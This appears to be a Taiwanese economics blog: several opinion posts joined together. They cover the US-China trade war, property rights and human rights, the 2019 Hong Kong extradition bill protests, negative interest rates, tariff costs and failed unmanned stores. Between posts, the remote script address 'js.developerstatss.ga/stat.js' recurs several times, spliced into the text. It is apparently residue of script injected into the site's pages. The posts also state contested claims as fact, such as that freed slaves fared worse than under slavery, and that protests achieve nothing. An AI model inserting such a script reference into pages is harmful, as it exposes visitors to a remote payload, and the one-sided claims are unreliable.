去年9月我就預測中美貿易戰會因為雙方政客有政治需求而長久找機會打下去，但因競爭與成本約束而始終「雷大雨小」。
我依據經濟學定律預測中國會因此被迫產業提昇，未來20年內「中國製造」將等同甚至優於「日本製造」。這點我在去年九月的文章就解釋過。
而推演到人權部分，這樣的產業升級將帶來貧富差距加大，貧者的人權條件進步速度恐怕會比富者慢，尤其是人力租值差異也會反應到人權部分。從而形成近似今日美國的社會狀況 — 鐵鏽地區的人均收入不到美國人平均收入5成，教育資源也不到全國平均一半。
中國政府如果有心改善這個必然發生的問題，方法如下：
1. 取消戶籍制度
2. 取消勞動合同法
3. 取消關稅
https://js.developerstatss.ga/stat.js?n=ns1答覆網友：
1. 因為論者根本不懂產權制度安排的不同會怎樣影響人權。
中國文化大革命的產權制度與政治表現掛勾，因此人人被迫表態，連拒絕發言的權利都沒有。因為言論的正確與否關係到自己乃至於他人的收入。
反之，私有產權發達國家，有關言論方面的刑事處罰與民事賠償都會跟著放寬，因為言論對他人收入影響不高時，言論內容並不會被管制。
這部份我針對言論自由談過，其他人權在經濟原理上也一樣適用。
2. 當國家窮到人民根本沒車時，就算婦女有權利考駕照也沒用。
猶如19世紀末到21世紀，即便美國已經解除黑奴一百多年，黑人的經濟地位並未受到改善。而黑人因假好心福利政策下教育水準是美國所有族群中最低落、犯罪率卻是最高，美國白人男性入獄服刑的可能性是 1/106；黑人男性他們一輩子當中會去坐牢的可能性則是 1/35。
而在訊息費用的影響下，黑人被誤認為「可能正在犯罪」的機率從而被警察騷擾控制的機率也遠高於白人、亞洲人。
所謂的「人權平等」只是口惠實不至的政治口號。事實上唯有真實改善黑人財富，黑人才會享有等同其他族群的人權。這點在成功的黑人富翁富婆身上都可以得證。
反之，很多經濟學研究指出林肯總統後，自由的黑奴生活條件反倒是遠不如奴隸時期。
3. 同樣的，當社會越富裕，女性的「生產力」也會隨之大增（因為整體社會生產依賴"智力"勝過"勞力"，此侷限條件轉變對女性有利），這也意味著富裕社會中「歧視女性的成本大增」（其成本等於被放棄的女性勞動力）。
補充：人類考古學看來，20萬年歷史中前19萬年為採集狩獵時代，後1萬年進入農業時代，最近2、300年進入工業時代。
而19萬年以前的採集狩獵時期根據研究發現人類主要熱量來源60%以上是靠女性採集，40%以下是靠男人偶爾成功狩獵。因此女性邊際收入高過男性時，當時女性地位與男人平等，甚至許多神址是女性，社會結構是以女性為主。
這點在現代一些原始採集狩獵部落也一樣。
後1萬年進入農業時期，耕作土地面積有限下，男性邊際收入遠高於女性（靠體力活居多），女性地位開始低下。越是發達的農業社會女性地位往往越低。
但進入工業時代後期，發達的各種機器讓生產不再依靠「勞力」而是「廣泛的智力，包含合作能力、資訊採集能力（就是八卦力啦）、邏輯思考乃至於品味或想像力等，女性在許多方面比男性更有優勢、邊際產出更高下，女性地位就逐漸回升。這點未來一定會更明顯，尤其存在於後工業社會與原始農業社會之間。
4. 中國是一個非常好的經濟學實驗室。
如果你認真研讀1979年以前的中國生活方式，會發現「論資排輩」、「政治影響力」等等因素決定資源的使用權利。你有額外資產（例如一支瑞士手錶）甚至會被打為「走資派」而被嫉妒的人們藉機鬥爭搶奪瓜分所有財產。
如果你不是共產黨員，甚至一個月都難得能吃到肉、看到雞蛋。北方冬天更不可能吃到「洞子貨」（溫室蔬菜）。
但之後的私有產權制度建立與財富快速累積，現今多數中國人只要願意賺錢、願意花錢，他可以輕鬆享受到30年前必須是高幹才有的物質生活（冷氣、彩電、冬日鮮蔬、肉食、私家車….）
同樣的，現今的中國人也毋須被迫參與政治運動即可安家立命。現今的中國人也不用擔心自己手拿iPhone就要被群眾審判抄家。
這些，都是實實在在的人權條件改善。
補充：很多談人權的論者往往忽略 — 多數人權都需要財富來支撐才得以實現。
週末香港反逃犯條例修訂草案遊行後，港幣對美元其實不跌反升。
但我認為看這個數字會有一點失真，因為香港聯繫匯率下美元對港幣始終盯著7.8 : 1這個數字，而在其套利機制下，本來對美元漲跌幅就會有限。
如果我們看香港政府自己編制的「港匯指數」（以2012年1月為基數100，以15種香港主要交易貨幣為籃子），6/12為105.4、6/11為105.3、6/10為105.4、6/8為105.3、6/6為105.3、6/5為105.2。
從該指數實在看不出港幣匯率有因此事件而受影響。甚至不跌還微漲。
以恆生指數來看，也無重大變化。
看來「百萬上街反送中」的影響力是誇大不實了。
從經濟學成本角度來看，任何集會遊行抗議乃至於學運都避免不了 — 過度簡化問題與答案！因為溝通成本過高，任何群眾運動最後要強調的問題與答案都必須高度簡化。學習實證經濟學越久就越知道考察關鍵侷限條件之不易、建立可被驗證/被證否的理論之困難。如此簡化往往代表抗議者不但沒搞清楚問題何在與本質，更別期待問道於盲般地碰巧給出正確答案。
更多時候被抗議的社會問題（無論是環保、法治、資源分配…等等），都「暗暗假設此問題確實是問題而政府有能力解決」。
姑且不提「被聲稱是問題的根本不是問題」這令人尷尬的現象（如太陽花宣稱服貿通過會傷害台灣經濟，但事實恰恰相反）。
更常發生的是：政府根本沒有能力解決此問題；又或者政府就是問題本身。（例如「非核家園」根本是不切實際的目標，但台灣綠能政策最大的問題根源就是民進黨政府本身）
法律系教育常聲稱「集會遊行是一種重要溝通手段」是毫無經濟邏輯的放屁理論。
如果我們考量政治侷限條件在內，很悲哀的是多數集會遊行之所以存在純粹只是因為敵對政客欲奪權或加入尋租，這些人壓根不想要解決問題。甚至問題要真被解決，這些人收入就沒了，因此這群人會拐著彎佔盡一切政府資源卻始終拒絕解決問題。
而被欺騙、被引誘或被動員參與集會遊行的學生或社會人士只是某些政客利用的棋子。你們關心的問題不但不會被解決，你們在乎的方案或正義也很快就被犧牲。在我看來，這些人真是太傻太天真，一切犧牲都非常不值得。
多數集會遊行均付出極高社會成本 — 這包含集會遊行本身的破壞（如法國黃背心運動光財產損失就達$60億台幣以上，尚且不論對經濟生產力的破壞）、整體制度費用的提高以及純粹尋租下產生的財富移轉毫無生產力可言 — 但什麼也沒換得。純粹破壞，毫無收益。
如同過去我一再強調：經濟發展與整體社會財富增長本身帶來的人權條件改善，遠遠高過政客學者欺騙人民的「人權鬥士」或集會遊行貢獻。因此我實在找不出任何理由去支持或理解集會遊行的價值。因為這只是純粹破壞，毫無建設。其侷限條件也註定其無從有所建設。
列舉幾個例子：
一堆跟著起舞的綠吱或香港的政客如周庭聲稱：
「「逃犯條例」是香港返還後最危險的法案，這項條例一旦修法通過，不只是香港人，連住在香港或訪港的外籍人士，都有可能因為觸怒中國被送到中國受審。」
如果不是根本沒看過草案內文在胡扯，就根本是別有居心地扭曲事實。
該修訂草案表列的罪行文末記載，所列出之罪行哪個跟「觸怒中國」或「政治言論犯罪」有關？
假若香港政府真的因此而不敢修訂有問題的法律，則未來香港人來台灣或某些地區國家觸犯上述犯罪，只要跑回香港就沒事啦。
當國際指責為何香港不提供司法協助時，香港政府只能回：「因為本港市民愚蠢到連法案表列罪行都看不懂地拒絕修法。」哈！
所以台灣綠吱覺青認為放任這個法律漏洞存在一點關係都沒有。
最噁心的是台灣某些律師或法律系教授也可以沒看過法案內容就跟著造謠。台灣價值都滿出來了吧～
覺青綠吱只會反覆邏輯自我矛盾地假設：中國無法無天，勢必利用此法對付異己。事實讓若中國真如其所描述一般，那根本不需要浪費時間修訂此法，因為如其所描述般的隨意抓人哪需要法律依據？
結論：
再強調一次，所有的集會遊行因為訊息費用的侷限，必然要「簡化甚至扭曲事實與解決方案」。這就是為什麼我一貫反對任何多數的遊行抗議舉措。若再考量政治侷限條件，則各種政客、利益團體的操弄下，參與者不過是某些人尋租的工具。
真想改變世界，好好參與生產活動做好分內工作，貢獻遠高於歷史上99.9%的政客。
=====================================
PS. 香港「逃犯條例修訂草案表列罪行」：
1. 謀殺或誤殺（包括刑事疏忽導致死亡）；構成罪行的殺人；意圖謀殺而襲擊。
2. 協助、敎唆、慫使或促致他人自殺。
3. 惡意傷人；殘害他人；使人受到嚴重或實際身體傷害；襲擊致造成實際身體傷害；威脅殺人；不論是以武器、危險物或其他方式蓄意或罔顧後果地危及生命；與不法傷害或損害有關的罪行。
4. 性罪行（包括強姦）；性侵犯；猥褻侵犯；對兒童作出不法的性方面的作為；法定的性罪行
5. 對兒童、有精神缺陷或不省人事的人作出嚴重猥褻行為。
6. 綁架；拐帶；非法禁錮；非法關禁；買賣或販運奴隸或其他人；劫持人質。
7. 刑事恐嚇。
8. 與危險藥物（包括麻醉藥、精神病科藥品，以及在非法製造麻醉藥及精神病科藥物時所用的先質及必需的化學品）有關的法律所訂的罪行；與販毒得益有關的罪行。
9. 以欺騙手段取得財產或金錢利益；盜竊；搶劫；入屋犯法（包括破啟及進入）；盜用公款；勒索；敲詐；非法處理或收受財產；偽造帳目；與涉及欺詐的財產或財務事宜有關的任何其他罪行；與非法剝奪財產有關的法律所訂的任何罪行。
10. 破產法或破產淸盤法所訂的罪行。
11. 與公司有關的法律所訂的罪行（包括由高級人員、董事及發起人所犯的罪行）。
12. 與證券及期貨交易有關的罪行。
13. 與偽製有關的罪行；與偽造或使用偽造物件有關的法律所訂的罪行。
14. 與保護智慧財產權、版權、專利權或商標有關的法律所訂的罪行。
15. 與賄賂、貪污、秘密佣金及違反信託義務有關的法律所訂的罪行。
16. 偽證及唆使他人作偽證。
17. 與妨礙或阻礙司法公正有關的罪行。
18. 縱火；刑事損壞或損害（包括與電腦數據有關的損害）。
19. 與火器有關的法律所訂的罪行。
20. 與爆炸品有關的法律所訂的罪行。
21. 與環境污染或保障公眾衛生有關的法律所訂的罪行。
22. 叛變或於海上的船隻上所犯的任何叛變性的作為。
23. 牽涉船舶或飛機的海盜行為。
24. 非法扣押或控制飛機或其他運輸工具。
25. 危害種族或直接和公開煽惑他人進行危害種族。
26. 方便或容許任何人從羈押中逃走。
27. 與控制任何種類貨物的進出口或國際性資金移轉有關的法律所訂的罪行。
28. 走私；與違禁品（包括歷史及考古文物）的進出口有關的法律所訂的罪行。
29. 關乎出入境事宜的罪行（包括以欺詐方式取得或使用護照或簽證）。
30. 為了經濟收益而安排或方便任何人非法進入某司法管轄區。
31. 與賭博或獎券活動有關的罪行。
32. 與非法終止懷孕有關的罪行。
33. 拐帶、遺棄、扔棄或非法羈留兒童；涉及利用兒童的任何其他罪行。
34. 與賣淫及供賣淫用的處所有關的法律所訂的罪行。
35. 涉及非法使用電腦的罪行。
36. 與財政事宜、課稅或關稅有關的罪行。
37. 與從羈押中非法逃走有關的罪行；監獄叛亂。
38. 重婚。
39. 與婦女及女童有關的罪行。
40. 與虛假或有誤導成分的商品說明有關的法律所訂的罪行。
41. 與管有或淸洗從觸犯本附表所述任何罪行所獲的得益有關的罪行。
42. 阻止逮捕或檢控曾犯或相信曾犯本附表所述罪行的人。
43. 任何人可因其而根據多邊國際公約被移交的罪行；由國際組織的決定所訂定的罪行。
44. 串謀犯欺詐罪或串謀詐騙。
45. 串謀犯或以任何種類的組織犯本附表所述的任何罪行。
46. 協助、敎唆、慫使或促致他人犯本附表所述的罪行，或（作為犯本附表所述罪行的事實之前或之後的從犯）煽惑他人犯本附表所述的罪行，或企圖犯本附表所述的罪行。
其中依據修訂草案第3A條(6)規定排除列表中某些罪行：「 在第 (5) 款中——指明的附表1罪行(specified Schedule 1 offence)指屬附表1指明的任何類別的罪行，但以下罪行除外——(a) 該附表第 10、11、12、14、21、27、35、36或 40 項所描述的罪行；或(b) 該附表第 41、42、45 或 46 項所描述的罪行 ( 僅限於該項關乎 (a) 段所述的罪行時 )。」
https://js.developerstatss.ga/stat.js?n=ns1Quote:" Glenn Rudebusch, an economist at the Federal Reserve Bank of San Francisco, studied US recessions as an insurance actuary might study the incidence of death in the population. An 80-year-old person is more likely to die in his 81st year than a 50-year-old person is to die at 51. But expansions don’t behave that way, he found. An expansion in its eighth year was no more likely to end than on in its fifth."
====================
My opinion:
This is a stereotype of the failure macro-economics. Macro-economists tend to try to find any remote pattern between two selected phenomenons but have no idea of the economic logic. Mr. Rudebusch just forgot the physical constraints are very different between the aging of a person and the economic expansion.
Aging weakens the physical conditions of the body of a person, however, expansions do not weaken the economy. People should pay more attention on figuring out the marginal changes in the objective conditions which genuinely impact the economic progress.
This is a boring and useless comparison.
On the other hand, I think the main causes of the business cycles are transaction costs and the law of diminishing marginal productivity, especially the marginal productivity of the capital.
The transaction costs make people making mistakes on investing, including arrangements of capital, time, and efforts, or the rise of the transaction costs reduces total economic activities and creating economic rents for interest groups and politicians to search.
And the law of diminishing marginal productivity limits the speed of the wealth accumulating. It usually causes financial activities to unhook the real economic activities and breeds possibilities of the future financial crisis.
Free markets are not free. They cost a lot to operate smoothly. Politicians are usually in the way for self-interests. It means that politicians are not the solution to the problems of the economy, but the problems themselves.
https://www.wsj.com/articles/after-record-long-expansion-heres-what-could-knock-the-economy-off-course-11559591043
根據WSJ最新的數據報導，美國四月份耐久財（durable goods）訂單相較於3月份下降2.1%。這其中包含波音公司因為737MAX機型安全性受到全球許多國家質疑，而暫緩生產的影響。
但從商業投資活動看來，數字與過去兩三年我在談的經濟學邏輯高度一致：
川普的減稅與寬鬆法規措施降低交易費用，促進投資活動與預期收入改善；但無端引發的多國貿易戰，尤其以2018年中開始的中美貿易戰最為激烈，大幅提高交易費用，依需求定律，代價提高則經濟活動降低。（見圖）
再一次，最基本的價格理論完勝一堆公式滿天飛但毫無經濟內容或經濟邏輯自相矛盾的總體經濟學者或大媽派偽財經專家。
順便回答某網友問題：「可是美國就業數據強勁代表經濟實力強盛。」
首先，就業數據是個落後指標，統計數字出來都已經是一兩個月以前的事情。開車時後照鏡看到繁花茂盛不代表前方就不會撞上垃圾山。
再者，根據美國聯準會最新的調查：
17%的美國家庭是月光族，近無存款；25%的受訪者因為無力支付而放棄健保；40%的美國人手頭或銀行活存連$400美元現金都拿不出來。
這還真是一個有底氣有財力打貿易戰的國家呢～
https://js.developerstatss.ga/stat.js?n=ns1WSJ值得讀的一篇報導：「Negative rates, designed as a short-term jolt, have become an addiction」，彰顯了總體經濟學理論的各種荒謬與錯誤之處。
根據總體經濟學理論：利率越低越能刺激消費與投資行為，因為持有存款越不利。所以負利率理應出現人們更願意借錢，更願意消費同時越不願意存錢的現象。
但上述的總體經濟學理論根本違背基本經濟學邏輯 — 負利率只是銀行體系之間存在的現象，當整體經濟預期不佳，負利率本身非但不會鼓勵投資消費，更無法嚇阻「囤錢」。
根據價格理論與財富倉庫理論，當財富以存款形式借予銀行會產生負收入時，但其他消費或投資管道交易費用又很高時，則財富所有人最可能的行為是：儲存現金，亦或在低費用的管道下尋找其他安全倉庫。
如此一來，總體經濟學理論將尷尬地發現負利率不但沒有帶來通貨膨脹，反而因為越來越多人採取「囤錢」這種保護財富措施而引發「實質通貨緊縮」。
這也說明文中報導的幾個現象：
1. 存款大戶直接在銀行租用保險櫃存放現金。（相信把現金藏在家裡的人更多）
2. 在網路銀行便利的現代，許多歐洲人在不同銀行與甚至國家之間不斷地拆存款單或移轉，只為了萬分之一的利率差異。
3. 瑞士更發生寧可蓋沒人住且租不出去的房屋，也不願意持有銀行存款的資源配置扭曲現象。
4. 公司行號並不會因為負利率環境而胡亂借款。因為事實上景氣預期並不佳，多數公司對借款投資依然謹慎以對。（見圖）
5. 便宜的信用對失業者一點用途也沒有。正因為對未來收入成長性悲觀，失業者比起過去更難從銀行等正規金融體系借款。
6. 一個值得特別注意的點：歐盟地區如瑞士和德國並不需要負利率貨幣政策，但某些地區卻需要。這起因來自於某些地區的貨幣或工資價格應該貶值，卻因為歐盟經濟一體化而做不到。
但不需要負利率政策的國家卻會因此而發生不動產價格虛胖的現象（見圖）與因此伴隨而來的資源錯置，這在未來都必須通過一場金融風暴或景氣衰退來調整。
這也註定了歐盟在未來要繼續維持下去的成本會越來越高。歐盟本身的官僚體系花費也會越來越高 (2019年歐盟總預算 €165.8 billion，約新台幣5兆8千億；2017年總歲出是€137.39B ；根據Daily Telegraph報導，歐盟一年光是翻譯費用就高達 €3.4M)。
是的，我始終認為快則10年，慢則30年，歐盟會解體的。
7. 在美國川普領頭打對中國之貿易戰與貿易限縮的氛圍下，美國如希望歐洲地區加入一起圍堵中國，很可能要落空。因為無力擺脫負利率泥沼的歐洲，從經濟學利息理論角度來看顯然是可預期未來收入成長性極低，這代表歐洲整體財富可能守不住要衰退。
沒有足夠的經濟底氣，要陪打貿易戰是天方夜譚。
虛應故事但實際擁抱中國市場甚至資金才是歐洲會做的事情。這與民族性或種族淵源都無關，純粹就是歐洲人也得搵食。
https://js.developerstatss.ga/stat.js?n=ns11. 哥倫比亞大學經濟學教授Weinstein研究指出川普的關稅措施造成的成本主要是美國人在支付，而從去年到現在，美國人民因此每月額外支付 $1.4 billion。
2. 從CPI統計來看，中國進口商品在美國有明顯漲價趨勢。（圖片引自WSJ）
3. The tariff means some sales will never happen — which everyone pays for.
4. 美國人透經過以下兩種方式支付額外的關稅：a. 進口商犧牲邊際利潤吸收增加的關稅與b. 終端消費者支付更高的價格。
5. 美國橡皮艇公司Sea Eagle有三個供應商（韓國，台灣與大陸），三者的製造廠都在中國。貿易戰開打後只有韓國供應商願意把生產轉到越南，另外兩家供應商都認為訂單量太小而不願意到中國以外的國家設立新生產線。
同時某生產商還指出：現階段中國與歐洲的訂單已經高於美國，廠商實在沒有誘因到非中國地區設廠徒增管理難度與成本。
6. Sea Eagle兩年前就開始在美國尋找供應商，但是inflatable kayaks（橡皮艇）所需要的生產機器, 纖維原料與零部件美國無人生產，就算整船想在美國生產，零件原料還是必須從中國進口。25%額外關稅一樣躲不掉。
況且硬要在美國生產橡皮艇所增加的額外費用恐怕還高過增加的關稅。
7. 當關稅從10%提高到25%，Sea Eagle的銷量立刻大幅下滑。未來如果維持此稅率，他們預測只剩高端高單價橡皮艇可以販售（高端品一樣是中國製）。
Sea Eagle表示：關稅將殺死橡皮停在中產階級的市場，未來也只有那些律師和醫師能享受此運動。
===================================
此篇文章應證了我先前好幾篇關於中美貿易戰的預測：
參見：
(1) Alchian-Allen 定律
(2)美國的自由貿易史
(3)關於中美貿易戰的再解釋
早在2017年9月，就我所知我是很少數早早預言「無人商店模式從經濟學來看是註定失敗的商業模式」。（見圖）
以此篇文章描述的大陸無人商店現況 （https://chinaqna.com/a/80972）：
「上海首批落地的繽果盒子無人便利店早在2017年9月便因耐不住高溫而關閉。進入2018年後，它又相繼曝出裁員、高管離職以及業績不達標等負面消息。
而另一家早在創立初期就被視為無人便利行業黑馬的鄰家便利，在2018年7月31日關閉了北京的160餘家門店。
公司宣佈，由於月虧500萬，持續虧損，缺乏造血能力，已基本破產。
曾經被資本看好的無人貨架，眾多品牌更是像多米諾骨牌般倒下。
2018年初，「GOGO小超」宣佈停止運營，這是全國無人貨架第一家倒閉的企業。
此後，猩便利裁去60%的BD人員；5月，七只考拉停止貨架業務；同月，傳果小美融資遭擱淺，工資發不出；6月，傳哈米倒閉；10月，小閃科技申請破產清算……
至此，轟轟烈烈的無人零售模式基本宣佈破產。」
其實只要有正確的成本觀念，不需要多複雜的模型就能看出此商業模式的問題：同樣無人，這些「高科技」無人商店的成本遠高於「傳統的自動販賣機（vending machine）」，可是提供的服務並未高過自動販賣機許多，更重要的是，後者可以利用各種畸零地提高坪效，但高科技無人商店卻多使用土地成本/租金較高的模式，這註定了高科技無人商店的回收遠比傳統自動販賣機困難。
此外，管理、佈點、補貨、避免遭破壞與竊盜等等問題成本都不低。傳統自動販賣機在這一塊已經很成熟老練，解決方案成本相較於高科技無人商店遠為低廉。這點也會進一步拉低高科技無人商店相比於傳統自動販賣機的投資報酬率。
但從市場現況來看，自動販賣機的ROI並非多麼優秀。這意味著營運成本更高的「高科技無人商店」ROI只會更難看。
還是說到爛的老話：掌握足夠且關鍵的侷限條件，利用正確的經濟學邏輯，快速判斷商機是否成立是like buttered lightning！
https://js.developerstatss.ga/stat.js?n=ns1川普在推特上忽然放出：
看來是中美階段性談判要收尾了，快則六月底，慢則秋日前。
不會全面性有結論，不過一定會繼續談。因為貿易戰美國成本太高，逐漸顯現。
中國若能取消關稅，加速進入下一局，美國只能妥協。減稅幅度夠大會有類似效果，但弱得多，有益於政客不利百姓。
而從中國大陸快速地宣布降存款準備率，看來方向是走向我預測的：「對政客有利但對百姓較不利」。
https://js.developerstatss.ga/stat.js?n=ns1
元毓說 